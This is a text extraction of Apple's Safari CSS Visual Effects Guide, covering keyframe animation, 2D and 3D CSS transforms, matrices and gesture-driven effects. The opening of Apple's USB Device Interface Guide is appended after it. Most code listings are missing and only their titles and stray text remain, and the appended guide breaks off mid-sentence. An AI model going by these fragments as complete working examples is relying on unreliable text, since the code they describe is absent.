@-webkit-keyframes rule. The set must include at least one keyframe. 2. Set the -webkit-animation-duration property to a positive, nonzero value. 3. Set the -webkit-animation-name property to the name of the set of keyframes. The following example defines a single keyframe in a set named glow. The keyframe specifies a blue background color. The example definesthe div:hover pseudoclass as having the animation name glow and the animation duration of 1s. When the user hovers over or touches any div element, it turns blue for one second. Listing 6-1 Simple keyframe animation
Blue Glow

Hover turns me briefly blue.

Animating With Keyframes Creating a Keyframe Animation 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 51

Me too.

animated div

Click to slide right and down, then back.

Controlling Animation Using JavaScript Control a CSS animation using JavaScript either by changing an element’s className property or by changing an element’s animation style properties individually. One thing to remember is that the JavaScript name for a property is not always the same as the CSS name. Compound names in CSS typically contain dashes, but in Animating With Keyframes Controlling Animation Using JavaScript 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 56JavaScript the dash is the subtraction operator, so JavaScript names omit the dash. Compound names in JavaScript usually capitalize the first character of each word after the first word; so if a CSS name were -extension-foo-bar, the JavaScript name would usually be extensionFooBar. As an example, to set the CSS property -webkit-animation-play-state from JavaScript,set the element’s style.webkitAnimationPlayState property. Listing 6-4 creates three buttons and a round div element with a radial gradient background. The first button animates the div element by changing its class name. The second and third buttons pause and continue the animation by setting the div element’s style.webkitAnimationPlayState property. Figure 6-3 illustrates the result. Listing 6-4 Pausing and continuing an animation
bouncing div Animating With Keyframes Controlling Animation Using JavaScript 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 57

 

Figure 6-3 JavaScript control of animation Handling Animation Events Three animation-related events are available through the DOM event system: Animating With Keyframes Handling Animation Events 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 58● webkitAnimationStart—Sent when the animation begins (after any specified delay). ● webkitAnimationIteration—Sent at the end of each iteration. ● webkitAnimationEnd—Sent after the final iteration. Note that when the final iteration in a series completes, it triggers both a webkitAnimationIteration and a webkitAnimationEnd event. Each of these events has three significant properties: ● The event.target property is the object being animated. ● The event.animationName property is the name of the animation that generated the event. ● The event.elapsedTime property is the length of time the animation has been running. Elapsed time does not include any time the animation was in the paused play state, nor does it include any specified delay time. As an example of event handling, Listing 6-5 creates three colored balls (round div elements) that roll away and disappear when clicked. The balls are given a class name that includes animation but begins with the animation play state set to paused; an onclick handler in each ball sets the play state for that element to running. The example adds an event listener for webkitAnimationEnd events on the body element. When a webkitAnimationEnd event occurs, the listener function removes the animated element by changing the element’s style.display property to none. Listing 6-5 Handling animation events
rolling divs Click the colored balls to make them roll away:
Note: To see the example in action, copy the listing into a text editor and save it with the .html file extension. Animating With Keyframes Handling Animation Events 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 60Use CSS transform propertiesto give webpages a rich visual appearance without needing image files. Elements can be positioned, rotated, and scaled in 2D and 3D space; perspective can also be applied, giving elements the appearance of depth. For example, Figure 7-1 shows a simple HTML document, containing only div elements and text but rendered using CSS transform and gradient properties. It appears to be a graphics-intensive page, yet the actual content is less than 2 KB of text, and the elements animate smoothly in 3D under user control. Figure 7-1 HTML page with rotation and perspective transforms 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 61 Using 2D and 3D TransformsHow does this work? HTML elements are, after all, inherently two-dimensional, or planar; they have height and width, but no thickness. By rotating planar elements into the third dimension and applying perspective, however, these elements can be combined to create apparently solid objects. For example, five div elements are combined in Figure 7-1 to form the sides and bottom of an open box; the ball inside the box is another div element with rounded borders—a radial gradient gives it the appearance of depth. Safari uses a series of transformation matrices to determine the mapping of every pixel on the screen. You don’t need to understand matrices to use them, however. You can apply a transform either by using a matrix or by calling one of the transform functions, such as scale() or rotate(). Transforming an element typically causes its image to be rendered in a different position on the screen, but the position and dimensions of the element on the page are not changed—the top, left, height, and width properties, for example, are not altered by transforms. It isthe coordinate system in which the element is drawn that is changed. Consequently, changing transform properties does not affect the layout of a webpage. This means that transforming an element can cause it to visually overlap neighboring elements, even though their positions and dimensions on the page may not overlap. Note: Mouse and touch events, such as onclick, track the visual representation of an element, taking 2D and 3D transforms into account. By default, transforms are applied using the center point of an element as the origin; rotation spins an object about its center, for example, and scaling expands or contracts an element from the center point. You can change the origin by setting the -webkit-transform-origin property. A transform can cause part of an element to be displayed in the element’s overflow area. If the value of the overflow property is scroll or auto, scroll bars appear as needed if a transform renders part of an object outside the display area. Safari supports both 2D and 3D transforms. Both 2D and 3D transforms are W3C drafts. See http://www.w3.org/TR/css3-2d-transforms/ and http://www.w3.org/TR/css3-3d-transforms/ for the specifications. 2D Transform Functions To apply a 2D transform to an element, use the -webkit-transform property. The transform property can be set using predefined transform functions—translation, rotation, and scaling—or it can be set using a matrix. Using 2D and 3D Transforms 2D Transform Functions 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 622D Translation 2D translation shifts the contents of an element by a horizontal or vertical offset without changing the top or left properties. The element’s position in the page layout is not changed, but the content is shifted and a shifted coordinate system applies to all descendants of the translated element. For example, if a div element is positioned at the point 10,10 using the CSS properties top and left, and the element is then translated 100 pixels to the right, the element’s content is drawn at 110,10. If a child of that div is positioned absolutely at the point 0,100, the child is also shifted to the right and is drawn at the point 110,110; the specified position of 0,100 is shifted right by 100, and the child is drawn at 100,100 relative to the parent’s upper-left corner, which is still at 10,10. Figure 7-2 illustrates this example. Figure 7-2 A translated element and its offspring To apply a 2D translation, set the -webkit-transform property to translateX(offset), translateY(offset), or both. For example:
2D Rotation 2D rotation is a rotation in the xy plane. By default, 2D rotation spins an object around its center point. To rotate an element around a different point,see “Changing the Origin” (page 67). Rotation isspecified in degrees clockwise from the element’s orientation after any inherited rotation; rotation affects the specified element and all of its descendants. The coordinate system of any descendants is likewise rotated. Using 2D and 3D Transforms 2D Transform Functions 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 63The following snippet rotates a div element 45 degrees clockwise, as shown in Figure 7-3. The div element has a beige background and contains a paragraph of text and an image; both the text and the image inherit the div element’s rotation. A second div is positioned under the rotated div to show the original div’s position prior to rotation.
Figure 7-3 Rotating an element Rotation can be specified in positive or negative degrees. For example, -webkit-transform: rotate(-45deg); specifies a 45 degree rotation counterclockwise. If rotation is animated,specifying a degree of rotation greater than the current degree causes clockwise rotation; specifying a degree of rotation less than the current degree causes counter-clockwise rotation. When animating rotation, it can be useful to specify a rotation of more than 360 degrees. For example, Listing 7-1 uses JavaScript to set a rotation of 3600deg, causing a div element to spin clockwise ten times. The text spins once on page load, and a button lets the user spin it again. Listing 7-1 Animating 2D rotation
spin-in text

Spinning text!

Whew! I'm dizzy...
Notice that the CSS property -webkit-transform is addressed in JavaScript as element.style.webkitTransform. Notice also that the spin() function increments the rotation angle by 3600 each time it is called; setting the angle to 3600deg repeatedly would have no effect. 2D Scaling 2D scaling makes an element smaller or larger in one or two dimensions. Scaling affects the whole element, including any border thickness. By default, the element isscaled up or down relative to its center, which causes all four of the element’s corners to be redrawn at new locations. The element’s top, left, height, and width properties are unchanged, however,so the layout of the page is not affected. Consequently,scaling an element up can cause it to cover other elements on the page unless you design the layout to allow room for the expansion. Using 2D and 3D Transforms 2D Transform Functions 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 65Scaling modifies the coordinate system of an element’s descendants, multiplying the x and y values by the specified scaling factor. For example, if a div element contains an image positioned absolutely at 10,10, with a height and width of 100 pixels, scaling-up the div element by a factor of two results in a 200 x 200 image, positioned at 20,20 relative to the div’s upper-left corner, which moves up and to the left. Figure 7-4 illustrates this behavior. Figure 7-4 Scaling an element up Apply a scale transformation by setting the -webkit-transform property to scale(x y), where x and y are independent scale factors for width and height, or by setting the transform property to scale(size), where size is the scaling factor in both dimensions. For example: style="webkit-transform: scale(1, 2)" renders an element the same width, but twice as tall. style="webkit-transform: scale(2, 0.5)" renders an element twice as wide and half as tall. style="webkit-transform: scale(1.5)" renders an element 1.5 times larger. Setting Multiple Transforms Different transforms, such as rotation and scaling, are applied by setting different values to a single property: -webkit-transform. Consequently, if you apply one transform to an element and then specify another transform, the first transform is no longer applied; the new value overwrites the old one, as with any CSS property. There are two different ways to perform multiple transforms on an element—both scaling and rotating an element for example: Using 2D and 3D Transforms Setting Multiple Transforms 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 66● Use inheritance to apply multiple transforms: create a scaled div element, for example, add your element as a child, then rotate the child element. ● Set the -webkit-transform property of the element to a space-delimited list of transform functions, such as: -webkit-transform: scale(2) rotate(45deg); When a list of functionsis provided, the final transformation value for the element is obtained by performing a matrix concatenation of each entry in the list. (Matrix concatenation can have some side effects, such as normalizing the rotation angle modulo 360.) Both approaches—transform inheritance and transform function lists—are valid. The following two examples illustrate two ways to apply a set of transforms to an element. Listing 7-2 sets an element’s transform property to a list of transform functions. Listing 7-3 produces the same results by applying each transform to a nested element. Listing 7-2 Setting multiple transforms using a list
Listing 7-3 Nesting 2D transforms
Changing the Origin By default, the origin for transforms is the center of an element’s bounding box. Most HTML and CSS entities use the upper-left corner as the default origin, but for transforms, it is usually more convenient to use the center of an element as a reference point. Consequently, elements rotate around their center by default, and scale up or down from the center out. Using 2D and 3D Transforms Changing the Origin 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 67To change the origin for transforms of a given element, set the -webkit-transform-origin property. The new origin is specified as a distance or percentage from the element’s upper-left corner. For example, the default center origin can be expressed as -webkit-transform-origin: 50% 50%;. Changing the origin to 0% 0% or 0px 0px causes transformation to occur around the upper-left corner of the element. The code in Listing 7-4 rotates the second box in Figure 7-5 around the top-right corner. Listing 7-4 Rotating an element around the top-right corner

I am rotated about my top-right corner.

Figure 7-5 Element rotated around the top-right corner Using 2D and 3D Transforms Changing the Origin 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 683D Transforms The standard HTML coordinate system has two axes—the x-axis increases horizontally to the right, and the y-axis increases vertically downwards. With 3D transforms, a z-axis is added, with positive values rising out of the window toward the user and negative values falling away from the user, as Figure 7-6 illustrates. Figure 7-6 3D coordinate space – Z - Y + Y + X – X + Z 3D transforms move an element out of the usual xy plane, where z=0—the plane of the display. A transformed element isstill two dimensional, but it no longer liesin the usual plane. A transformed object may be translated along the z-axis, rotated around the x- or y-axis, or transformed using some combination of translation and rotation. All HTML elements have a z-index. The z-index controls the rendering order when elements overlap. An element’s z-index has nothing to do with its z-axis coordinate. Transformed objects follow the standard HTML rendering rules—objects with higher z-index values are drawn on top of other objects with lower z-index values—but for elements sharing the same z-index, the areas with higher z-axis coordinate values are drawn on top. Using 2D and 3D Transforms 3D Transforms 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 69Adding 3D Perspective To render elements with the appearance of depth, you must specify a perspective. If you apply 3D transforms without setting the perspective, elements appear flattened. For example, if you rotate an element around its y-axis without setting the perspective, the element just appears narrower. If you rotate an element 90 degrees from the default xy plane, it is seen edge-on—the element either disappears entirely or is displayed as a line. Adding perspective distorts the appearance of objects realistically, making nearby things appear larger and distant things look smaller. The closer the object, the greater the distortion. In order for Safari to create the illusion of depth, it’s necessary to specify a point of view, or perspective. Once Safari knows where the user’s eye is relative to an element, it knows how much distortion to apply and where. Use the -webkit-perspective property to set the perspective for all the descendants of an element. For example:
The perspective is specified in distance from the screen. You may specify the distance in pixels, centimeters, inches, or any CSS distance unit. If no unit type is supplied, px is assumed. Note: Perspective distortion can cause part or all of an element to be displayed offscreen, particularly if an object’s z-coordinates are positive and the projected image would extend beyond the specified viewpoint, somewhere behind the user’s eye. Tip: Perspective settings of 300px or less tend to create intense perspective distortion; settings from 500px to 1000px create moderate perspective distortion, and settings of more than 2000px give very mild perspective distortion. Listing 7-5 sets the -webkit-perspective property using a slider. Listing 7-5 Adding a perspective slider
applying perspective

Left

Center

Right

The center element is edge-on, and not visible.

Using 2D and 3D Transforms 3D Transforms 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 73 Figure 7-8 Perspective origin effects Creating a 3D Space By default, the descendants of an element are flattened into the plane of their parent. When you apply a 3D transform to an element, that element’s plane is no longer the default xy plane—the plane of the display. All descendants of the element share that element’s new plane. In order to further transform the children of an element relative to that element’s plane, you must set the -webkit-transform-style property to preserve-3d, creating a 3D space. For example:
Setting the transform style to preserve-3d in an element makes that element into a 3D container; all the element’s immediate children can be manipulated independently in 3D, relative to the parent. Because HTML elements are flat, a transformed child also occupies a plane in 3D space. Each child can occupy a separate plane, or multiple children can share the same plane. By default, any descendants of these transformed children are flattened into their parental plane; setting the transform style to preserve-3d affects only an element’s immediate children. Using 2D and 3D Transforms 3D Transforms 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 743D containers can be nested. Enabling 3D transforms in one of a container element’s descendants creates a nested 3D layer; children of that descendant can be transformed in 3D, relative to their container’s plane. You need to enable 3D in a particular element only if the element’s children are to be transformed in 3D relative to that element’s plane. Any transform applied to a 3D container is inherited by all of its descendants. By applying a rotation to the highest level 3D container, for example, you are able to rotate the view of all of the container’s contents at once. Listing 7-7 gives an example of a nested pair of 3D containers, illustrated in Figure 7-9. The topmost container has a child div element rotated 45 degrees on its x-axis, so it appears to be tilted away from the viewer. This child div is also a 3D container, containing a paragraph of text rotated 35 degrees on its right edge away from the container, causing the text to appear to lift off the page. Listing 7-7 Nested 3D rotations

And so the text seems to lift off the page and float, as if transformed. Well, I suppose it is transformed, and that explains the appearance, if not quite the magic, of it...

Using 2D and 3D Transforms 3D Transforms 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 75 Figure 7-9 Text rotated relative to 3D backdrop Generally speaking, you need to create only a single 3D container—all 3D transforms can be applied relative to the default xy plane, and global transforms can be applied to the top-level container and inherited by all its descendants. Sometimesit may be convenient to manipulate a subgroup of transformed elements as a unit, however; in such a case, it makes sense to create a nested container. To disable 3D for an element’s children dynamically, set the -webkit-transform-style property to flat. Applying a 3D transform when the transform style is set to flat does not move the element out of its parent’s plane. Note: Elements that have overflow set to hidden are unable to render their child elements in 3D, and are rendered as though the transform style were set to flat. 3D Transform Functions Like 2D transforms, 3D transforms are set using the -webkit-transform property. You can apply a transform to an element by specifying a transform function, a list of transform functions, or by passing in a 3D matrix. There are several functions that perform 3D transforms: Using 2D and 3D Transforms 3D Transforms 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 76● translateZ(distance)—Moves an element closer or farther away. ● translate3d(x, y, z)—Moves an element in three dimensions. ● rotateX(degrees)—Rotates an element around the x-axis, moving the top and bottom closer or farther away. ● rotateY(degrees)—Rotates an element around the y-axis, moving the left and right sides closer or farther away. ● perspective(distance)—Sets the 3D perspective for a single element. Important: You must set a perspective for 3D transforms to have a visible 3D effect. See “Adding 3D Perspective” (page 70) and “Creating a 3D Space” (page 74) for details. 3D Translation 3D translation moves an element closer to or farther from the viewer by changing its position on the z-axis. Use the translateZ() function to shift an element on the z-axis, or the translate3d(x, y, z) function to shift an element on two or three axes. For example:
Using 2D and 3D Transforms 3D Transforms 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 77The 3D translation functions work like their 2D counterparts, except that the z offset cannot be specified as a percentage. Z-axis units may be positive (towards the viewer) or negative (away from the viewer). Figure 7-10 shows two identical div elements with same height, width, and x and y positions, one translated on the z-axis by 100 px and the other translated by -100 px. Figure 7-10 Z-axis translation in perspective All descendants of an element inherit its z-axis translation. Note that the text in the previous illustration is translated along with its parent. 3D Rotation You can rotate an element in 3D either around the y-axis,so that the right and left edges get nearer and farther away, or around the x-axis, so that the top and bottom edges get nearer and farther away. For example:
Using 2D and 3D Transforms 3D Transforms 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 78Rotation is around an imaginary x- or y-axis that passes through the element’s origin. By default, the origin is at the center of an object. Positive x units rotate the top edge away. Positive y units rotate the right edge away. This is illustrated in Figure 7-11. Figure 7-11 X and y rotation All descendants of an element inherit its 3D rotation. Note that the text in the previous illustration is rotated along with its parent. Setting Perspective for a Single Element To create a 3D space with a shared perspective, you need to create a 3D container that has the -webkit-perspective property set; but if you just want to render a single element with the appearance of depth, you can set the -webkit-transform property to a list of transform functions that includes the perspective(distance) function as the first transform. For example:

This text is rotated 45 degrees around its x-axis.

The foregoing snippet performs two 3D transforms on an element—rotation about the x-axis and perspective distortion, as if the user were viewing the object from 10 cm in front of the screen. Using 2D and 3D Transforms 3D Transforms 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 79Important: The perspective() transform function must be the first function in the list of transforms—you must establish the perspective prior to applying the other transforms. In almost all cases, it is better to create a 3D container and set the -webkit-perspective property for the container element than it isto apply the perspective() transform to an element directly. See Figure 7-7 (page 72) for details. Back Face Visibility If an element is rotated 90 degrees or more around the x- or y-axis, the back face of the element faces the user. The back face of an element is always transparent, so the user sees a reversed image of the front face through the transparent back face, like a sign painted on a glass door and seen from behind. To prevent the mirror image of the front face from being displayed, set the -webkit-backface-visibility property to hidden. For example: -webkit-backface-visibility: hidden; When -webkit-backface-visibility is set to hidden, an element is not displayed where its back face would be visible. One reason to do this is to create the illusion that an element has two faces, each with their own content. For example, to create the illusion of a card with different contents on the front and back face, two elements are positioned back to back in the same location. The two elements are then rotated together, progressively hiding the front element and revealing the back element. If the back face of the top element were visible, it would obscure the element beneath it instead of revealing the element beneath it as it rotates. Listing 7-8 creates the illusion of a card with content on both sides, as Figure 7-12 shows. Listing 7-8 Hiding the back side of a card
flip card Using 2D and 3D Transforms Back Face Visibility 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 80
Back of card
Front of card
Figure 7-12 Cardflip example See the HTML version of this document to view the video. document to view the video. Using Transformation Matrices A transformation matrix is a small array of numbers (nine numbers for a 2D matrix, sixteen for a 3D matrix) used to transform another array, such as a bitmap, using linear algebra. Safari provides convenience functions for the most common matrix operations—translation, rotation, and scaling—but you can apply other transforms, such as reflection or shearing, by setting the matrix yourself. Using 2D and 3D Transforms Using Transformation Matrices 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 812D Matrix Operations For a 2D transform, set the -webkit-transform property to matrix(a,b,c,d,e,f), where the matrix position of the parametersisin column order, as Figure 7-13 shows. The first column in the matrix isthe x vector; the second column is the y vector. Figure 7-13 2D transformation matrix parameter positions c 0 0 1 b a d e f To make full use of transformation matrices, you need an understanding of linear algebra. But even without an understanding of linear algebra, you can often look up the matrix values for a particular effect. For example, here are the settings for reflection around the x- and y-axes: Reflection around the y-axis— -webkit-transform: matrix(-1,0,0,1,0,0); Reflection around the x-axis— -webkit-transform: matrix(1,0,0,-1,0,0); Here are the matrix parameter settings for some common effects: translate(x, y) = matrix(1, 0, 0, 1, x, y) scale(x, y) = matrix(x, 0, 0, y, 0, 0) rotate(a) = matrix(cos(a), sin(a), -sin(a), cos(a), 0, 0) skewx(a) = matrix(1, 0, tan(a), 1, 0, 0) skewy(a) = matrix(1, tan(a), 0, 1, 0, 0) An example of using matrix settingsto mirror,stretch, and skew elementsis given in Listing 7-9 and isillustrated in Figure 7-14. Listing 7-9 Matrix example
Mirror transform
This element is reflected.
This element is reflected.
This element is reflected and stretched.
This element is reflected and stretched.
This element is reflected, stretched, and skewed.
This element is reflected, stretched, and skewed.
Figure 7-14 Matrix mirroring transforms Using 2D and 3D Transforms Using Transformation Matrices 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 833D Matrix Operations For a 3D transform, set the -webkit-transform property to matrix3d(a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p), where the parameters are a homogeneous 4 x 4 matrix in column-major order. This means that the a, b, c, and d parameters, for example, line up as the first column in a 4 x 4 matrix, as Figure 7-15 shows. The first column is the x vector, the second column is the y vector, and the third column is the z vector. Figure 7-15 3D matrix parameters Following are some common parameter settings for 3D transforms: ● Identity matrix—matrix3d(1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1) ● Translate matrix—matrix3d(1,0,0,tX,0,1,0,tY,0,0,1,tZ,0,0,0,1) ● Scale matrix—matrix3d(sX,0,0,0,0,sY,0,0,0,0,sZ,0,0,0,0,1) ● RotateX(a) matrix—matrix3d(1,0,0,0,0,cos(a),sin(a),0,0,sin(-a),cos(a),0,0,0,0,1) ● RotateY(a) matrix—matrix3d(cos(a),0,sin(-a),0,0,1,0,0,sin(a),0,cos(a),0,0,0,0,1) Working with Transforms in JavaScript There are a few things to be aware of when using JavaScript to control transforms. Using 2D and 3D Transforms Working with Transforms in JavaScript 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 84The CSS names for transform properties are different than the JavaScript names. When using JavaScript to set a property, delete the hyphens from the property name and capitalize the first letter of the following word. The following snippet shows how to set properties for an element with the ID "myElement" in CSS and JavaScript:
3D Transforms

This page contains no images.

X Axis
Y Axis
Z Axis

Back

Front

Right

Left

Bottom

Using 2D and 3D Transforms Example: Animated Rotating Box Under JavaScript Control 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 88

Top


RotateX:
RotateY:

Figure 7-16 3D transforms under JavaScript control Using 2D and 3D Transforms Example: Animated Rotating Box Under JavaScript Control 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 89Use visual effects in combination with mouse and touch events to create interactive web applications that work equally well on the desktop and on iOS-based devices—applications that enable the users to manipulate objects on the screen with the mouse or with their fingers. Using a Click or Tap to Trigger a Transition Effect In this first example, the user can click an element using the mouse or tap an element using a finger to change the element’s size. The change in size is a 2D CSS transform animated using a CSS transition. A finger tap triggers an onclick event in Safari on iOS, so an event handler for onclick events is all you need to handle both tap and click events. First, the example in Listing 8-1 defines an class of element to manipulate and sets the properties needed to animate the transition using CSS. Next, the example defines a simple JavaScript function to change the element’s size using a CSS transform. Finally, the example installs the function as an event handler for onclick events on the element. Figure 8-1 shows the results. Listing 8-1 Simple touch or tap handler
Click or tap to grow

Click or tap to grow.

Figure 8-1 Click and tap handler Controlling a 3D Transform with a Click, Touch, or Swipe In the next example, the user can flip a virtual page forward or backward with a click, a tap, or a swipe. Two div elements are styled to look like pages and are positioned back to back, and the example uses a 3D transform to create an animation that looks like the page of a book turning. Adding Interactive Control to Visual Effects Controlling a 3D Transform with a Click, Touch, or Swipe 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 91Any click, tap, or swipe on the page causes the page to turn, so in this case the direction of the swipe doesn’t matter. Both a single tap and a swipe gesture trigger a touchend event when they complete, so the example installs an event listener for the touchend event to handle taps and swipes as well as a listener for the click event. The example uses CSS to define the body element as a 3D container with perspective and to define a page class, with front and back subclasses. To make the page flip animation look like the page of a book turning, the div elements pivot on an edge, instead of around the middle. Consequently, the pages are positioned side by side,so that they lie on top of each other when one isfrontside-up and the other is backside-up, flipped 180 degrees around its edge. JavaScript functions flip the pages back and forth by applying 3D transforms. An onload function installs the page flipping functions as event listeners, with a different flip direction installed for the front and back subclasses. An additional listener function is installed for touchmove events to prevent a swipe from scrolling the browser window, which is the default behavior in Safari on iOS. There is a complication in using the touchend event to detect a tap while at the same time using the click event to detect a mouse click: a tap generates both a touchend event and a click event. To prevent the page flip from being called twice by a tap, an event listener is installed for the touchstart event. If a touchstart event occurs, the user is using a finger, not a mouse, so the listener functions for the click event are removed. Because the click event listeners need to be removed only once, the touchstart event listener removes itself as well. Adding Interactive Control to Visual Effects Controlling a 3D Transform with a Click, Touch, or Swipe 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 92The example uses HTML to create div elements of the page front and page back classes, to hold the page content, and to call the JavaScript function that installsthe event listeners on page load. The complete example is in Listing 8-2 and is illustrated in Figure 8-2. Figure 8-2 Page flip in action Listing 8-2 Page flip on click, tap, or swipe
Page turner

Click, tap, or swipe to turn the page.

Back

Front

Using Gestures to Scale and Rotate Elements The final example uses pinch and rotate gestures to scale and rotate an element. Gesture events are high-level eventsthat encapsulate the lower-level touch events—they are instances of the GestureEvent class. Gesture and touch events can occur at the same time. Consequently, you can choose to handle touch events, gesture events, or both. The advantage of gesture events is that the location and angle of the fingers are properties of the events. Gesture events support pinching open and closed to zoom in and zoom out, and pivoting to rotate elements. Adding Interactive Control to Visual Effects Using Gestures to Scale and Rotate Elements 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 95The example in Listing 8-3 first defines the style of the element to manipulate using CSS. The example then declares three JavaScript functions: one function to set the element’s scale and rotation dynamically during a gesture; a second function to preserve the element’s current scale and rotation when the gesture ends; and a third function to install the first two functions as event listeners. Finally, the example uses HTML to create an element, give it content, and call the function that installsthe event listeners on page load. Figure 8-3 illustrates the result. Figure 8-3 Element rotated by a gesture Listing 8-3 Responding to gesture events
pinch and rotate
Adding Interactive Control to Visual Effects Using Gestures to Scale and Rotate Elements 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 97

Pinch in to shrink.

Pinch out to grow.

Twirl to rotate.

Adding Interactive Control to Visual Effects Using Gestures to Scale and Rotate Elements 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 98This table describes the changes to Safari CSS Visual Effects Guide . Date Notes 2012-07-23 Documented support for CSS filters. 2012-01-13 Updated artwork and made minor edits. 2011-12-15 Edited and expanded. 2011-11-01 Edited for style and clarity. Updated, expanded, and revised for Safari 5.1 and iOS 5.0. Includes new examples and sample code. 2011-10-12 2011-07-20 Minor typo fix. 2010-11-03 Applied minor edits throughout. 2010-05-26 Made minor edits throughout. Added information on radial gradients and made minor changes to the chapter "Gradients." Added "CSS" to the title. 2010-02-24 2010-01-20 Minor edits. 2009-07-27 Minor edits throughout. 2009-06-08 Minor edits throughout. 2009-03-16 Added CSS gradients, masks, and reflections. New document that describes how to add visual effects to web content that is supported by Safari on the desktop and iOS. 2008-11-19 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 99 Document Revision HistoryApple Inc. © 2012 Apple Inc. All rights reserved. No part of this publication may be reproduced, stored in a retrievalsystem, or transmitted, in any form or by any means, mechanical, electronic, photocopying, recording, or otherwise, without prior written permission of Apple Inc., with the following exceptions: Any person is hereby authorized to store documentation on a single computer for personal use only and to print copies of documentation for personal use provided that the documentation contains Apple’s copyright notice. No licenses, express or implied, are granted with respect to any of the technology described in this document. Apple retains all intellectual property rights associated with the technology described in this document. This document is intended to assist application developers to develop applications only for Apple-labeled computers. Apple Inc. 1 Infinite Loop Cupertino, CA 95014 408-996-1010 Apple, the Apple logo, Mac, Mac OS, OS X, Safari, and Spotlight are trademarks of Apple Inc., registered in the U.S. and other countries. Java is a registered trademark of Oracle and/or its affiliates. iOS is a trademark or registered trademark of Cisco in the U.S. and other countries and is used under license. Even though Apple has reviewed this document, APPLE MAKES NO WARRANTY OR REPRESENTATION, EITHER EXPRESS OR IMPLIED, WITH RESPECT TO THIS DOCUMENT, ITS QUALITY, ACCURACY, MERCHANTABILITY, OR FITNESS FOR A PARTICULAR PURPOSE.ASARESULT, THISDOCUMENT IS PROVIDED “AS IS,” AND YOU, THE READER, ARE ASSUMING THE ENTIRE RISK AS TO ITS QUALITY AND ACCURACY. IN NO EVENT WILL APPLE BE LIABLE FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL,OR CONSEQUENTIAL DAMAGES RESULTING FROM ANY DEFECT OR INACCURACY IN THIS DOCUMENT, even if advised of the possibility of such damages. THE WARRANTY AND REMEDIES SET FORTH ABOVE ARE EXCLUSIVE AND IN LIEU OF ALL OTHERS, ORAL OR WRITTEN, EXPRESS OR IMPLIED. No Apple dealer, agent, or employee is authorized to make any modification, extension, or addition to this warranty. Some states do not allow the exclusion or limitation of implied warranties or liability for incidental or consequential damages, so the above limitation or exclusion may not apply to you. This warranty gives you specific legal rights, and you may also have other rights which vary from state to state. USB Device Interface GuideContents Introduction to USB Device Interface Guide 4 Organization of This Document 4 See Also 4 USB Device Overview 6 USB Device Types and Bus Speeds 6 USB Device Architecture and Terminology 7 USB Device Component Descriptors 8 USB Composite Class Devices 8 USB Transfer Types 8 Stalls and Halts 9 Data Synchronization in Non-Isochronous Transfers 10 USB 2.0 and Isochronous Transfers 10 USB Devices on OS X 11 Finding USB Devices and Interfaces 12 USB Family Error Codes 14 Determining Which Interface Version to Use 14 Tasks and Caveats 15 Handling Stalls, Halts, and Data Toggle Resynchronization 15 Using the Low Latency Isochronous Functions 15 Errors Reported by the EHCI Hub 17 Changes in Isochronous Functions to Support USB 2.0 17 USB Device Access in an Intel-Based Macintosh 18 Working With USB Device Interfaces 20 Using USB Device Interfaces 20 Accessing a USB Device 22 Definitions and Global Variables 22 The main Function 23 Working With the Raw Device 27 Working With the Bulk Test Device 34 Working With Interfaces 36 Document Revision History 46 2012-01-09 | © 2002, 2012 Apple Inc. All Rights Reserved. 2Tables and Listings USB Device Overview 6 Table 1-1 Examples of USB devices 6 Table 1-2 Keys for finding a USB device 12 Table 1-3 Keys for finding a USB interface 13 Working With USB Device Interfaces 20 Listing 2-1 Definitions and global variables 22 Listing 2-2 The main function 24 Listing 2-3 Accessing and programming the raw device 27 Listing 2-4 Releasing the raw device objects 30 Listing 2-5 Configuring a USB device 30 Listing 2-6 Two functions to download firmware to the raw device 32 Listing 2-7 Accessing the bulk test device 34 Listing 2-8 Finding interfaces on the bulk test device 36 Listing 2-9 Two asynchronous I/O completion functions 43 2012-01-09 | © 2002, 2012 Apple Inc. All Rights Reserved. 3Note: This document was previously titled Working With USB Device Interfaces. The I/O Kit provides a device interface mechanism that allows applications to communicate with and control hardware from outside the kernel. This document focuses on how to use that mechanism to create an application that detects the attachment of a USB device, communicates with it, and detects its detachment. This document does not describe how to develop an in-kernel driver for a USB modem or networking device. If you need to do this, refer to the documentation and sample code listed in “See Also” (page 4). Important: If your application is sandboxed, it must request the com.apple.security.device.usb entitlement in order to access USB devices. Organization of This Document This document contains the following chapters: ● “USB Device Overview” (page 6) provides an overview of USB device architecture and terminology and describes how USB devices are represented in OS X. ● “Working With USB Device Interfaces” (page 20) describes how to use the device interface mechanism to create a command-line tool that accesses a USB device. ● “Document Revision History” (page 46) lists the revisions of this document. See Also The ADC Reference Library contains several documents on device driver development for OS X and numerous sample drivers and applications. ● Accessing Hardware From Applications describes various ways to access devices from outside the 